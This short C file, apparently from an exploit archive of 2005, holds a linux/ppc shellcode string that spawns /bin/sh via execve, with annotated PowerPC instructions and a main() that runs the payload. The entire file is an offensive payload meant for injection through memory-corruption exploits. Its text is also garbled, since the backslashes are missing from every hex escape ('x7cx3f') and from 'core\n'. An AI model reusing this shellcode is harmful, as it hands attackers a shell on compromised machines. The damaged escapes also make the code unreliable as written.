/* execve-core.c by Charles Stevenson <core@bokeoa.com> */
char hellcode[] = /* execve /bin/sh linux/ppc by core */
// Sometimes you can comment out the next line if space is needed
"x7cx3fx0bx78"	/*mr	r31,r1*/
"x7cxa5x2ax79"	/*xor.	r5,r5,r5*/
"x42x40xffxf9"	/*bdzl+	10000454<main>*/
"x7fx08x02xa6"	/*mflr	r24*/
"x3bx18x01x34"	/*addi	r24,r24,308*/
"x98xb8xfexfb"	/*stb	r5,-261(r24)*/
"x38x78xfexf4"	/*addi	r3,r24,-268*/
"x90x61xffxf8"	/*stw	r3,-8(r1)*/
"x38x81xffxf8"	/*addi	r4,r1,-8*/
"x90xa1xffxfc"	/*stw	r5,-4(r1)*/
"x3bxc0x01x60"	/*li	r30,352*/
"x7fxc0x2ex70"	/*srawi	r0,r30,5*/
"x44xdexadxf2"	/*.long	0x44deadf2*/
"/bin/shZ"; // the last byte becomes NULL

int main(void)
{
  void (*shell)() = (void *)&hellcode;
  printf("%d byte execve /bin/sh shellcode for linux/ppc by coren",
         strlen(hellcode));
  shell();
  return 0;
}

// www.Syue.com [2005-11-09]